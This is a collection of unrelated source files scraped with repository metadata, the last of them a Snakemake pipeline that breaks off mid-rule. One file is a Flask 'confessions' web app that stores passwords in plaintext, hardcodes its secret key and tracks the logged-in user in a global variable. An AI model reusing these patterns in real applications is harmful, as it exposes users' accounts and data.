# =============================================================================== # Copyright 2015 Jake Ross # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # =============================================================================== from pychron.core.ui import set_qt set_qt() # ============= enthought library imports ======================= from traits.api import HasTraits, Str from traitsui.api import View, UItem, TextEditor # ============= standard library imports ======================== # ============= local library imports ========================== class TipView(HasTraits): text = Str message = Str('<h1>Did you know?</h1>') def traits_view(self): v = View(UItem('message', style='readonly'), UItem('text', style='custom', editor=TextEditor(read_only=True)), buttons=['OK'], height=400, width=400, title='Random Tip', kind='livemodal') return v if __name__ == '__main__': t = TipView() t.configure_traits() # ============= EOF =============================================

[ "jirhiker@gmail.com" ]

jirhiker@gmail.com

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/_CodeTopics/LeetCode_contest/weekly/weekly2022/277/277_1.py

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BIAOXYZ/variousCodes

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refs/heads/master

2023-09-04T10:01:31.998311

2023-08-26T19:44:39

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1

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class Solution(object): def countElements(self, nums): """ :type nums: List[int] :rtype: int """ nums.sort() n = len(nums) if len(set(nums)) <= 2: return 0 i = 0 while i < n and nums[i] == nums[0]: i += 1 j = 0 while n-1-j >= 0 and nums[n-1-j] == nums[-1]: j += 1 return n - i - j """ https://leetcode-cn.com/submissions/detail/261446098/ 127 / 127 个通过测试用例状态：通过执行用时: 20 ms 内存消耗: 13.2 MB """

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BIAOXYZ.noreply@github.com

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/src/pyroxy/repositories.py

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amcfague/pyroxy

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refs/heads/master

2021-01-22T20:08:47.453313

2012-04-27T04:39:45

2,990,266

0

null

UTF-8

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false

3,180

py

import os.path import urllib2 from pyroxy.exceptions import SecurityException __all__ = ["BaseRepository", "LocalPypiRepository", "RemotePypiRepository"] DEFAULT_PYPI_URL = "http://pypi.python.org" def urljoin(*segments): return "/".join(segments) class BaseRepository(object): def get_index(self, package_name): return self.open_index(package_name).read() def get_static(self, path): return self.open_static(path).read() def open_index(self, package_name): """ Opens an index page, based on the specified ``package_name``. This usually resolves to some kind of index.html page. :param string package_name: The name of the package to resolve. Depending on the system, this may or may not be case sensitive. :returns: File-like object that implements the :func:`read` method. """ raise NotImplementedError def open_static(self, path): """ Opens a static file based on ``path``. :param path: Relative path to a static file, most likely a binary file. :returns: File-like object that implements the :func:`read` method. warning:: Be warned, this could be a relatively path that is a parent of the root directory. This function should insure that files outside of the root directory cannot be accessed. """ raise NotImplementedError class LocalPypiRepository(BaseRepository): def __init__(self, base_path): """ :param base_path: An absolute path to the `web` directory. """ self._base_path = os.path.abspath(base_path) def open_index(self, package_name): """ See :meth:`pyroxy.repositories.BaseRepository.open_index`. """ simple_index_path = os.path.join( self._base_path, "simple", package_name, "index.html") return open(simple_index_path, "r") def open_static(self, path): """ See :meth:`pyroxy.repositories.BaseRepository.open_static`. """ static_path = os.path.abspath(os.path.join(self._base_path, path)) if not static_path.startswith(self._base_path): raise SecurityException("Security breach!!") return open(static_path, "r") class RemotePypiRepository(BaseRepository): def __init__(self, pypi_base_url=DEFAULT_PYPI_URL): """ :param pypi_base_url: An absolute URL to the `web` directory online. """ self._url = pypi_base_url def open_index(self, package_name): """ See :meth:`pyroxy.repositories.BaseRepository.open_index`. """ # Add a trailing slash to indicate the directory; PyPI sometimes hides # its index files. simple_index_path = urljoin(self._url, "simple", package_name) + "/" return urllib2.urlopen(simple_index_path) def open_static(self, path): """ See :meth:`pyroxy.repositories.BaseRepository.open_static`. """ static_path = urljoin(self._url, path) return urllib2.urlopen(static_path)

[ "redmumba@gmail.com" ]

redmumba@gmail.com

64c731c3350074e539343ad99aedc0166911d7f9

8f887b19f25328c0a844b7e251e297af58ec72f8

/src/orderdetails/admin.py

79bde7c4836651890d713424f9d265c82620cd1a

[]

no_license

rushabh2390/shoppingwebsites

cdc22db4e00a770653168e5115f0e18af6151d51

946e3c1e33653fd8f8e39bd22d627322b63021b6

refs/heads/main

2023-08-24T19:33:23.724485

2021-09-10T06:18:13

404,971,702

0

null

UTF-8

Python

false

122

py

from django.contrib import admin # Register your models here. from .models import OrderDetail admin.register(OrderDetail)

[ "er.rushabhdoshi@gmail.com" ]

er.rushabhdoshi@gmail.com

d46605a963cc8f769dbe759ad483fc416defb7bd

d5d189fff2e027f7aa38ecde58952bcb4b636d47

/include/ocr/train/backend/gen_sample.py

c27926b5f86b197603348478fb379288bd02955d

[]

no_license

wyc2015fq/cstd

5979a3c26d5c7f00aadda440b04176dcf043e7dc

664bcb4680a32811767f5541a8aae1551d621598

refs/heads/master

2020-05-15T20:22:19.209717

2019-04-20T16:08:03

null

0

null

GB18030

Python

false

6,014

py

import sys import cv2 as cv import numpy as np import random import matplotlib.pyplot as plt #draw circle def randint(min_int,max_int): return int(min_int + (max_int-min_int)*random.random()) def randi(min_int,max_int): lis = [] for i in range(len(max_int)): lis.append(randint(min_int[i], max_int[i])) return tuple(lis) def circle(img, a, c, r, color): img2 = img.copy() cv.circle(img2,c, r, color, -1) img3 = img*(1-a) + img2*a return img3 # 定义旋转rotate函数 def rotate(image1, angle, center=None, scale=1.0): k = 50 image = cv.copyMakeBorder(image1,k,k,k,k,cv.BORDER_REFLECT) # 获取图像尺寸 (h, w) = image.shape[:2] # 若未指定旋转中心，则将图像中心设为旋转中心 if center is None: center = (w / 2, h / 2) # 执行旋转 M = cv.getRotationMatrix2D(center, angle, scale) rotated = cv.warpAffine(image, M, (w, h)) # 返回旋转后的图像 out = rotated[k:(h-k), k:(w-k)] return out def randd(a, b): t = random.random() return t*(b-a)+a def rand_crop(img, a, b): h,w = img.shape c = b-a while(1): x1 = int(randd(0, c*w)) y1 = int(randd(0, c*h)) x2 = int(randd((1-c)*w, w)) y2 = int(randd((1-c)*h, h)) if y1>y2: y1,y2=y2,y1 if x1>x2: x1,x2=x2,x1 h1 = y2-y1 w1 = x2-x1 t = (h1*w1)/(h*w) if t>a and t<=b: #print(t, x1, x2, y1, y2) return img[y1:y2, x1:x2] def add_shader(img): img3 = img.copy() img3 = rotate(img3, randint(-10, 10)) img3 = rand_crop(img3, 0.8, 1) h,w = img3.shape k = 20 #img3 = img3[randint(0,k):h-k,randint(0,k):w-k] h,w = img3.shape #print(h,w) g = 10 k = 255 r = 0.5+0.5*random.random() img3 = circle(img3,0.1,randi([0,0],[w,h]), randi([50],[255])[0], randi([g,g,g],[k,k,k])) img3 = circle(img3, 0.1,randi([w*2/3,0],[w,h]), randi([10],[100])[0], randi([g,g,g],[k,k,k])) r = 3+2*int(random.random()*2) kernel = cv.getStructuringElement(cv.MORPH_RECT,(r, r)) if random.random()<0.5: img3 = cv.dilate(img3,kernel) else: img3 = cv.erode(img3,kernel) if random.random()>0.5: k = 1/(1+random.random()) else: k = 1+random.random() img3 = np.power(img3/float(np.max(img3)), k) return img3 def add_shader_neg(img): img3 = img.copy() if 0: img3 = rotate(img3, randint(-30, 30)) img3 = rand_crop(img3, 0.1, 0.6) if 0: t = randint(30, 360-30) img3 = rotate(img3, t) if 1: img3 = rotate(img3, 180) img3 = rand_crop(img3, 0.1, 1) img4 = img3.copy() kernel = cv.getStructuringElement(cv.MORPH_RECT,(3, 3)) img3 = cv.erode(img3,kernel) h,w = img3.shape k = 20 #img3 = img3[randint(0,k):h-k,randint(0,k):w-k] h,w = img3.shape #print(h,w) g = 10 k = 255 r = 0.5+0.5*random.random() img3 = circle(img3,0.1,randi([0,0],[w,h]), randi([50],[255])[0], randi([g,g,g],[k,k,k])) img3 = circle(img3, 0.1,randi([w*2/3,0],[w,h]), randi([10],[100])[0], randi([g,g,g],[k,k,k])) r = 3+2*int(random.random()*2) kernel = cv.getStructuringElement(cv.MORPH_RECT,(r, r)) if random.random()<0.5: img3 = cv.dilate(img3,kernel) else: img3 = cv.erode(img3,kernel) if random.random()>0.5: k = 1/(1+random.random()) else: k = 1+random.random() img3 = np.power(img3/float(np.max(img3)), k) return img3 #print(randi(img.shape)) #print(randi([255,255,255])) #cv.circle(img,(447,63), 63, (255,255,255), -1) if 0: img = cv.imread('E:/OCR_Line/demo_images/018.jpg', 0) #print(img.shape) #img = cv.cvtColor(img,cv.COLOR_BGR2RGB) img2 = cv.resize(img, (30,20),interpolation=cv.INTER_AREA) plt.subplot(221) plt.imshow(img, cmap=plt.cm.gray) plt.subplot(222) plt.imshow(img2, cmap=plt.cm.gray) img3 = add_shader(img); plt.subplot(223) plt.imshow(img3, cmap=plt.cm.gray) img4 = cv.resize(img3, (60,40),interpolation=cv.INTER_AREA) plt.subplot(224) plt.imshow(img4, cmap=plt.cm.gray) #plt.xticks([]) #plt.yticks([]) plt.show() if 0: img = cv.imread('E:/OCR_Line/demo_images/018.jpg', 0) for i in range(100): print(i) img3 = add_shader(img) img4 = cv.resize(img3, (60,40),interpolation=cv.INTER_AREA) img5 = (img4*255).astype(np.uint8); cv.imwrite("E:/OCR_Line/adaboost/pos/%05d.bmp" % i, img5) #plt.show() def readtxtlist(fn): flist=[] with open(fn,'r') as f: for line in f: flist.append(line.strip('\n')) return flist if 0: li = readtxtlist('./list.txt') for j in range(len(li)): img = cv.imread(li[j], 0) for i in range(50): print(j, i) img3 = add_shader(img) img4 = cv.resize(img3, (60,40),interpolation=cv.INTER_AREA) img5 = (img4*255).astype(np.uint8); img5 = cv.equalizeHist(img5) cv.imwrite("E:/OCR_Line/adaboost/pos/%02d_%05d.bmp" % (j, i), img5) #plt.show() if 1: li = readtxtlist('./list.txt') for j in range(len(li)): img = cv.imread(li[j], 0) for i in range(200): print(j, i) img3 = add_shader_neg(img) img4 = cv.resize(img3, (60,40),interpolation=cv.INTER_AREA) img5 = (img4*255).astype(np.uint8); img5 = cv.equalizeHist(img5) cv.imwrite("E:/OCR_Line/adaboost/neg4/%02d_%05d.bmp" % (j, i), img5) #plt.show() if 0: flist = readtxtlist('E:/www/news.ifeng.com/jpg/list.txt') #print(result) for i in range(len(flist)): fn = flist[i] print(fn) img = cv.imread(fn, 0) if img.shape(0)>10: img4 = cv.resize(img, (60,40),interpolation=cv.INTER_AREA) cv.imwrite("E:/OCR_Line/adaboost/neg/%05d.bmp" % i, img4)

[ "31720406@qq.com" ]

31720406@qq.com

e635cfe5a94a774b7cab354764b2bf54d830b1eb

4ad37c3a80265f9bf4fadaa796382057fd6334bd

/Heroku-Confessions-master/app.py

1261ae25d357201e6ff68ff679f32cbc9c9c17da

[]

no_license

gauravsingh13091990/web-app

919354292286c0e9ee52ae4d9be3273e4aea21c3

c40e38c3f868e063e4a20fb2263526fb46ebd5bd

refs/heads/master

2020-04-08T07:36:15.837614

2018-11-26T09:39:58

159,144,700

0

null

UTF-8

Python

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6,941

py

import os import sqlite3 from flask import * from flask_sqlalchemy import * from datetime import datetime from flask import send_from_directory from werkzeug.utils import secure_filename from sqlalchemy import update from sqlalchemy import desc app = Flask(__name__) # create the application instance :) app.config.from_object(__name__) # load config from this file , flaskr.py app.config['SQLALCHEMY_DATABASE_URI']='sqlite:///confessions.db' app.config['SQLALCHEMY_TRACK_MODIFICATIONS']=False app.secret_key = 'random string' UPLOAD_FOLDER = 'static' ALLOWED_EXTENSIONS = set(['jpeg', 'jpg', 'png', 'gif','txt','pdf','JPG']) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER db = SQLAlchemy(app) class Users(db.Model): __tablename__='users' password = db.Column(db.String(255)) email = db.Column(db.String(255),primary_key=True) name = db.Column(db.String(255)) phone = db.Column(db.String(255)) gender = db.Column(db.String(255)) Birthday = db.Column(db.String(255)) class Image(db.Model): __tablename__='images' title = db.Column(db.String(255)) desc = db.Column(db.String(255)) id =db.Column(db.Integer,primary_key=True) imagename = db.Column(db.String(255)) upvotes =db.Column(db.Integer) downvotes =db.Column(db.Integer) comment = db.Column(db.String(255)) class Like(db.Model): __tablename__='votes' likes_id =db.Column(db.String(255),primary_key=True) db.create_all() @app.route("/register",methods = ['GET','POST']) def registers(): if request.method =='POST': password = request.form['password'] password1= request.form['password1'] email = request.form['email'] name = request.form['name'] gender = request.form['gender'] Birthday = request.form['Birthday'] phone = request.form['phone'] if(password == password1): try: user = Users(password=password,email=email,name=name,gender=gender,Birthday=Birthday,phone=phone) db.session.add(user) db.session.commit() msg="registered successfully" except: db.session.rollback() msg="error occured" else: return render_template("layout.html",error1="password doesnot match") db.session.close() return render_template("layout.html",msg=msg) @app.route("/loginForm") def loginForm(): return render_template('layout.html', error='') @app.route('/') def layout(): return render_template("page1.html") @app.route("/registerationForm") def registrationForm(): return render_template("layout.html") @app.route("/login", methods = ['POST', 'GET']) def login(): if request.method == 'POST': email = request.form['email'] password = request.form['password'] if is_valid(email, password): session['email'] = email session['logged_in'] = True global x x = email return redirect(url_for('index')) else: error = 'Invalid UserId / Password' return render_template('layout.html', error=error) x="" @app.route('/index') def index(): if 'email' in session: email = session['email'] image1 = "SELECT * FROM images" data1 = db.engine.execute(image1).fetchall() data2=reversed(data1) return render_template('main.html',email=email,name=data2) return render_template('page1.html') def is_valid(email,password): stmt = "SELECT email, password FROM users" data = db.engine.execute(stmt).fetchall() for row in data: if row[0] == email and row[1] == password: return True return False @app.route("/write") def write(): return render_template('post.html') @app.route("/About") def about(): stmt = "SELECT * FROM users" data = db.engine.execute(stmt).fetchall() for confession1 in data: if(confession1.email==x): Name=confession1.name Email=confession1.email Birthday=confession1.Birthday gender=confession1.gender mobile=confession1.phone return render_template('about.html',Name=Name,Email=Email,Birthday=Birthday,gender=gender,mobile=mobile) @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': title = request.form['title'] desc = request.form['text'] # check if post request has file path if 'file' not in request.files: print ("return.............") flash('No file part') return redirect(request.url) file = request.files['file'] print (file) # if user does not select file, browser also # submit a empty part without filename if file.filename == '': flash('No selected file') return redirect(request.url) print("path doesn't know....") if file and allowed_file(file.filename): filename = secure_filename(file.filename) MYDIR = os.path.dirname(__file__) print ("Is saving.....", MYDIR) file.save(os.path.join(MYDIR + "/" + app.config['UPLOAD_FOLDER'] + "/" + filename)) return redirect(url_for('uploaded_file',filename=file.filename,title=title,desc=desc)) error="error occured" return render_template("post.html",error=error) def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/uploads/<filename>/<title>/<desc>',methods=['GET', 'POST']) def uploaded_file(filename,title,desc): print (filename) ImagesAll = Image(imagename=filename,title=title,desc=desc,upvotes=0,downvotes=0,comment="comments goes here \n") db.session.add(ImagesAll) db.session.commit() return redirect(url_for('index')) @app.route('/votes/<xid>', methods=['GET', 'POST']) def votes(xid): xid=int(xid) s=x+str(xid) if request.method == 'POST': name = request.form['voted'] stmt=Image.query.filter_by(id=xid).all()[0] stmt2=Like.query.filter_by(likes_id=s).all() if(len(stmt2)==0): if(name =="like"): liked=Like(likes_id=s) db.session.add(liked) # db.session.commit() stmt.upvotes+=1 db.session.commit() return redirect(url_for('index')) else: liked=Like(likes_id=s) db.session.add(liked) stmt.downvotes+=1 db.session.commit() return redirect(url_for('index')) return redirect(url_for('index')) return render_template("page1.html") @app.route('/comment/<xid>', methods=['GET', 'POST']) def comment(xid): xid=int(xid) if request.method == 'POST': name = request.form['text'] if(len(name)>0): stmt=Image.query.filter_by(id=xid).all()[0] z=stmt.comment.replace('\n',' ') s=z+"\n"+name s=s.replace('\n',' ') stmt.comment=s db.session.commit() return redirect(url_for('index')) return redirect(url_for('index')) @app.route('/sign/<name>/<email>') def sign(name,email): try: user = Users(password=None,email=email,name=name,gender=None,Birthday=None,phone=None) db.session.add(user) db.session.commit() msg="registered successfully" except: db.session.rollback() msg="error occured" session['email'] = email session['logged_in'] = True global y y=email return redirect(url_for('index')) @app.route('/logout') def logout(): session['logged_in'] = False session.pop('email',None) x='' return redirect(url_for('index')) if __name__ =='__main__': app.run(port=5128)

[ "noreply@github.com" ]

gauravsingh13091990.noreply@github.com

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/sdk/python/pulumi_azure_native/storage/v20210401/list_storage_account_service_sas.py

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permissive

bpkgoud/pulumi-azure-native

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refs/heads/master

2023-08-29T22:39:49.984212

2021-11-15T12:43:41

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# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities from ._enums import * __all__ = [ 'ListStorageAccountServiceSASResult', 'AwaitableListStorageAccountServiceSASResult', 'list_storage_account_service_sas', 'list_storage_account_service_sas_output', ] @pulumi.output_type class ListStorageAccountServiceSASResult: """ The List service SAS credentials operation response. """ def __init__(__self__, service_sas_token=None): if service_sas_token and not isinstance(service_sas_token, str): raise TypeError("Expected argument 'service_sas_token' to be a str") pulumi.set(__self__, "service_sas_token", service_sas_token) @property @pulumi.getter(name="serviceSasToken") def service_sas_token(self) -> str: """ List service SAS credentials of specific resource. """ return pulumi.get(self, "service_sas_token") class AwaitableListStorageAccountServiceSASResult(ListStorageAccountServiceSASResult): # pylint: disable=using-constant-test def __await__(self): if False: yield self return ListStorageAccountServiceSASResult( service_sas_token=self.service_sas_token) def list_storage_account_service_sas(account_name: Optional[str] = None, cache_control: Optional[str] = None, canonicalized_resource: Optional[str] = None, content_disposition: Optional[str] = None, content_encoding: Optional[str] = None, content_language: Optional[str] = None, content_type: Optional[str] = None, i_p_address_or_range: Optional[str] = None, identifier: Optional[str] = None, key_to_sign: Optional[str] = None, partition_key_end: Optional[str] = None, partition_key_start: Optional[str] = None, permissions: Optional[Union[str, 'Permissions']] = None, protocols: Optional['HttpProtocol'] = None, resource: Optional[Union[str, 'SignedResource']] = None, resource_group_name: Optional[str] = None, row_key_end: Optional[str] = None, row_key_start: Optional[str] = None, shared_access_expiry_time: Optional[str] = None, shared_access_start_time: Optional[str] = None, opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableListStorageAccountServiceSASResult: """ The List service SAS credentials operation response. :param str account_name: The name of the storage account within the specified resource group. Storage account names must be between 3 and 24 characters in length and use numbers and lower-case letters only. :param str cache_control: The response header override for cache control. :param str canonicalized_resource: The canonical path to the signed resource. :param str content_disposition: The response header override for content disposition. :param str content_encoding: The response header override for content encoding. :param str content_language: The response header override for content language. :param str content_type: The response header override for content type. :param str i_p_address_or_range: An IP address or a range of IP addresses from which to accept requests. :param str identifier: A unique value up to 64 characters in length that correlates to an access policy specified for the container, queue, or table. :param str key_to_sign: The key to sign the account SAS token with. :param str partition_key_end: The end of partition key. :param str partition_key_start: The start of partition key. :param Union[str, 'Permissions'] permissions: The signed permissions for the service SAS. Possible values include: Read (r), Write (w), Delete (d), List (l), Add (a), Create (c), Update (u) and Process (p). :param 'HttpProtocol' protocols: The protocol permitted for a request made with the account SAS. :param Union[str, 'SignedResource'] resource: The signed services accessible with the service SAS. Possible values include: Blob (b), Container (c), File (f), Share (s). :param str resource_group_name: The name of the resource group within the user's subscription. The name is case insensitive. :param str row_key_end: The end of row key. :param str row_key_start: The start of row key. :param str shared_access_expiry_time: The time at which the shared access signature becomes invalid. :param str shared_access_start_time: The time at which the SAS becomes valid. """ __args__ = dict() __args__['accountName'] = account_name __args__['cacheControl'] = cache_control __args__['canonicalizedResource'] = canonicalized_resource __args__['contentDisposition'] = content_disposition __args__['contentEncoding'] = content_encoding __args__['contentLanguage'] = content_language __args__['contentType'] = content_type __args__['iPAddressOrRange'] = i_p_address_or_range __args__['identifier'] = identifier __args__['keyToSign'] = key_to_sign __args__['partitionKeyEnd'] = partition_key_end __args__['partitionKeyStart'] = partition_key_start __args__['permissions'] = permissions __args__['protocols'] = protocols __args__['resource'] = resource __args__['resourceGroupName'] = resource_group_name __args__['rowKeyEnd'] = row_key_end __args__['rowKeyStart'] = row_key_start __args__['sharedAccessExpiryTime'] = shared_access_expiry_time __args__['sharedAccessStartTime'] = shared_access_start_time if opts is None: opts = pulumi.InvokeOptions() if opts.version is None: opts.version = _utilities.get_version() __ret__ = pulumi.runtime.invoke('azure-native:storage/v20210401:listStorageAccountServiceSAS', __args__, opts=opts, typ=ListStorageAccountServiceSASResult).value return AwaitableListStorageAccountServiceSASResult( service_sas_token=__ret__.service_sas_token) @_utilities.lift_output_func(list_storage_account_service_sas) def list_storage_account_service_sas_output(account_name: Optional[pulumi.Input[str]] = None, cache_control: Optional[pulumi.Input[Optional[str]]] = None, canonicalized_resource: Optional[pulumi.Input[str]] = None, content_disposition: Optional[pulumi.Input[Optional[str]]] = None, content_encoding: Optional[pulumi.Input[Optional[str]]] = None, content_language: Optional[pulumi.Input[Optional[str]]] = None, content_type: Optional[pulumi.Input[Optional[str]]] = None, i_p_address_or_range: Optional[pulumi.Input[Optional[str]]] = None, identifier: Optional[pulumi.Input[Optional[str]]] = None, key_to_sign: Optional[pulumi.Input[Optional[str]]] = None, partition_key_end: Optional[pulumi.Input[Optional[str]]] = None, partition_key_start: Optional[pulumi.Input[Optional[str]]] = None, permissions: Optional[pulumi.Input[Optional[Union[str, 'Permissions']]]] = None, protocols: Optional[pulumi.Input[Optional['HttpProtocol']]] = None, resource: Optional[pulumi.Input[Optional[Union[str, 'SignedResource']]]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, row_key_end: Optional[pulumi.Input[Optional[str]]] = None, row_key_start: Optional[pulumi.Input[Optional[str]]] = None, shared_access_expiry_time: Optional[pulumi.Input[Optional[str]]] = None, shared_access_start_time: Optional[pulumi.Input[Optional[str]]] = None, opts: Optional[pulumi.InvokeOptions] = None) -> pulumi.Output[ListStorageAccountServiceSASResult]: """ The List service SAS credentials operation response. :param str account_name: The name of the storage account within the specified resource group. Storage account names must be between 3 and 24 characters in length and use numbers and lower-case letters only. :param str cache_control: The response header override for cache control. :param str canonicalized_resource: The canonical path to the signed resource. :param str content_disposition: The response header override for content disposition. :param str content_encoding: The response header override for content encoding. :param str content_language: The response header override for content language. :param str content_type: The response header override for content type. :param str i_p_address_or_range: An IP address or a range of IP addresses from which to accept requests. :param str identifier: A unique value up to 64 characters in length that correlates to an access policy specified for the container, queue, or table. :param str key_to_sign: The key to sign the account SAS token with. :param str partition_key_end: The end of partition key. :param str partition_key_start: The start of partition key. :param Union[str, 'Permissions'] permissions: The signed permissions for the service SAS. Possible values include: Read (r), Write (w), Delete (d), List (l), Add (a), Create (c), Update (u) and Process (p). :param 'HttpProtocol' protocols: The protocol permitted for a request made with the account SAS. :param Union[str, 'SignedResource'] resource: The signed services accessible with the service SAS. Possible values include: Blob (b), Container (c), File (f), Share (s). :param str resource_group_name: The name of the resource group within the user's subscription. The name is case insensitive. :param str row_key_end: The end of row key. :param str row_key_start: The start of row key. :param str shared_access_expiry_time: The time at which the shared access signature becomes invalid. :param str shared_access_start_time: The time at which the SAS becomes valid. """ ...

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import serial from serial.tools import list_ports import struct class Arduino(object): def __repr__(self): return self.name def __init__(self, name='Arduino', port='/dev/ttyACM0', baud=115200): self.name = name self.baudrate = baud ser_port = port try: self.ser = serial.Serial( ser_port, baudrate=baud, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, bytesize=serial.EIGHTBITS, timeout=1 ) except Exception as e: print(e) quit() def disconnect(self): try: self.ser.close() except Exception as e: print("failed to disconnect") print(e) def read(self, *args, **kwargs): input = self.ser.read() print(input) def write(self, data, **kwargs): try: try: self.ser.write(struct.pack('>B', data)) except Exception: self.ser.write(data.encode()) except Exception as e: print(e) exit()

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#this script is designed to remove the decimals from At names in a fasta file #Created by: David E. Hufnagel on 5-7-2012 import sys inp = open(sys.argv[1]) #input file out = open(sys.argv[2], "w") #output file #print the unix command line that called this script out.write('#python %s\n'%(' '.join(sys.argv))) def FixName(old): if old.startswith("AT"): new = old.split(".")[0] return new else: return old for line in inp: if line.startswith(">"): newName = FixName(line[1:]) newLine = ">%s\n" % (newName) out.write(newLine) else: out.write(line) inp.close() out.close()

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import os.path import subprocess import json import csv configfile: "SampleList.test" current_dir = os.getcwd() + "/" sequence_fasta = current_dir+ "path/to/reference.fasta" # Enable or disable individual rules. run_rmdup_bams = True run_fastqc_original_samples = True run_fastqc_rmdup_bams = True run_mapdamage = True run_qualimap = True run_haplogrep = False run_haplocheck = False run_ind_mapping_report = True run_agr_mapping_report = True run_multiqc_report = False run_bam_to_fasta = False # folder paths samples = current_dir + "Data/samples/" merged_trimmed = current_dir + "Data/merged_trimmed/" aligned_mito = current_dir + "Data/aligned_mito/" bam_folder = current_dir + "Data/bams/" filtered = current_dir + "Data/filtered_bams/" q30 = current_dir + "Data/q30/" sort_to_left_dir = current_dir + "Data/sort/" rem_dups = current_dir + "Data/rmdup/" min35_folder = current_dir + "Data/min_35/" clipped_folder = current_dir + "Data/clipped/" fqc_folder = current_dir + "Data/fqc_samples/" fqctrim_folder = current_dir + "Data/fqc_trimmed/" md_folder = current_dir + "Data/mapdamage_reports/" hg_folder = current_dir + "Data/haplogrep/" hc_folder = current_dir + "Data/haplocheck/" rmdupf_folder = current_dir + "Data/rmdup_fasta/" qualimap_folder = current_dir + "Data/qualimap/" mapping_folder = current_dir + "Data/mapping_reports/" # app paths # leeHom = current_dir + "apps/leeHom/src/leeHomMulti" # schmutzi_endocaller = current_dir + "apps/schmutzi/src/endoCaller" leeHom = "leeHom" schmutzi_endocaller = current_dir + "apps/schmutzi/src/endoCaller" realign_sam_prg = current_dir + "apps/realign.jar" g_threads = 12 # gets all the files for our pipeline def get_files(): files = config["samples"] ids = [] for file in files: ids.append(file["id"]) return ids def target_files(): target_list = [] if run_rmdup_bams: target_list += expand(rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam", sample=get_files()) if run_fastqc_original_samples: target_list += expand(fqc_folder + "{sample}_{part}_001_fastqc.html", sample=get_files(), part=["R1", "R2"]) if run_fastqc_rmdup_bams: target_list += expand(fqctrim_folder + "{sample}_trimmed_merged_fastqc.html", sample=get_files()) if run_mapdamage: target_list += expand(md_folder + "{sample}/Fragmisincorporation_plot.pdf", sample=get_files()) if run_qualimap: target_list += expand(qualimap_folder + "{sample}/", sample=get_files()) if run_haplogrep: target_list += expand(hg_folder + "{sample}_trimmed_mapped_realigned_f4_q30_sort_rmdup_fasta_haplogrep.out", sample=get_files()) if run_haplocheck: target_list += expand(hc_folder + "{sample}_haplochecked", sample=get_files()) if run_ind_mapping_report: target_list += expand(mapping_folder + "{sample}_mapping_report.json", sample=get_files()) if run_agr_mapping_report: target_list.append(mapping_folder + "aggregated_mapping_report_mqc.tsv") if run_multiqc_report: target_list.append(current_dir + "Data/multiqc/") if run_bam_to_fasta: target_list += expand(rmdupf_folder + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.fasta", sample=get_files()) return target_list def mk_dirs(): #mk_dirs if they don't exist dir_list = [ merged_trimmed, aligned_mito, bam_folder, filtered, q30, sort_to_left_dir, rem_dups, min35_folder, clipped_folder, fqc_folder, fqctrim_folder, md_folder, hg_folder, hc_folder, rmdupf_folder, qualimap_folder, mapping_folder, ] for dr in dir_list: subprocess.check_output("mkdir -p " + dr, shell=True, text=True) def parse_leeHom(text): text = text.strip().split(";") parsed = { "total": text[0].split(" ")[-1], "merged_trim": text[1].split(" ")[-1], "merged_overlap": text[2].split(" ")[-1], "kept": text[3].split(" ")[-1], "trimmed_sr": text[4].split(" ")[-1], "adapter_dimers_chimeras": text[5].split(" ")[-1], "failed_key": text[6].split(" ")[-1], "umi_problems": text[7].split(" ")[-1], } return parsed def parse_markdup(text): text = text.strip().split("\n") parsed = {} for line in text: splitter = line.split(":") parsed[splitter[0].lower().replace(" ", "_")] = splitter[1].strip() return parsed def parse_qualimap(text): text = text.strip().splitlines() parsed = { "mean": -1, "std": -1, "reads": -1, } for line in text: if 'mean coverageData' in line: parsed["mean"] = line.split(" ")[-1] if 'std coverageData' in line: parsed["std"] = line.split(" ")[-1] if 'number of reads' in line: parsed["reads"] = line.split(" ")[-1] return parsed def parse_it(sample, trim_report, q_bam, qmapdir): trim_report = open(trim_report, "r") # mdup_report = open(mdup_report, "r") quality_bam = subprocess.check_output("samtools view -c " + q_bam, shell=True, text=True) if os.path.exists(qmapdir + "/genome_results.txt"): qmap_report = open(qmapdir + "/genome_results.txt") qmap_dict = parse_qualimap(qmap_report.read()) else: qmap_dict = parse_qualimap("") leehom_dict = parse_leeHom(trim_report.read()) #markdup_dict = parse_markdup(mdup_report.read()) trim_report.close() #mdup_report.close() parsed = { "sample": sample, "leeHom": leehom_dict, # "markdup": markdup_dict, "q30_bam": quality_bam.strip(), "qualimap": qmap_dict, } return parsed rule target: input: target_files() rule trim_merge: input: fastq1 = samples + "{sample}_R1_001.fastq.gz", fastq2 = samples + "{sample}_R2_001.fastq.gz" output: fastq = merged_trimmed + "{sample}_trimmed_merged.fq.gz", report = merged_trimmed + "{sample}_report.txt" params: threads = g_threads, forward_adapter = "AGATCGGAAGAGCACACGTCTGAACTCCAGTCAC", second_adapter = "AGATCGGAAGAGCGTCGTGTAGGGAAAGAGTGTA", sample = merged_trimmed + "{sample}_trimmed_merged", leeHom = leeHom shell: "{params.leeHom} -t {params.threads} -f {params.forward_adapter} -s {params.second_adapter} " "--ancientdna -fq1 {input.fastq1} -fq2 {input.fastq2} -fqo {params.sample} 2> {output.report}" rule index_ref: input: ref = sequence_fasta output: "sequence.fasta.amb", "sequence.fasta.ann", "sequence.fasta.bwt", "sequence.fasta.pac", "sequence.fasta.sa" run: shell("samtools faidx {input.ref}") rule alignment: input: fastq = merged_trimmed + "{sample}_trimmed_merged.fq.gz", ref = sequence_fasta output: sam = aligned_mito + "{sample}_trimmed_merged_mapped.sam" run: shell("bwa mem -t {g_threads} {input.ref} {input.fastq} > {output.sam}") rule awk_rm_softclip: input: sam 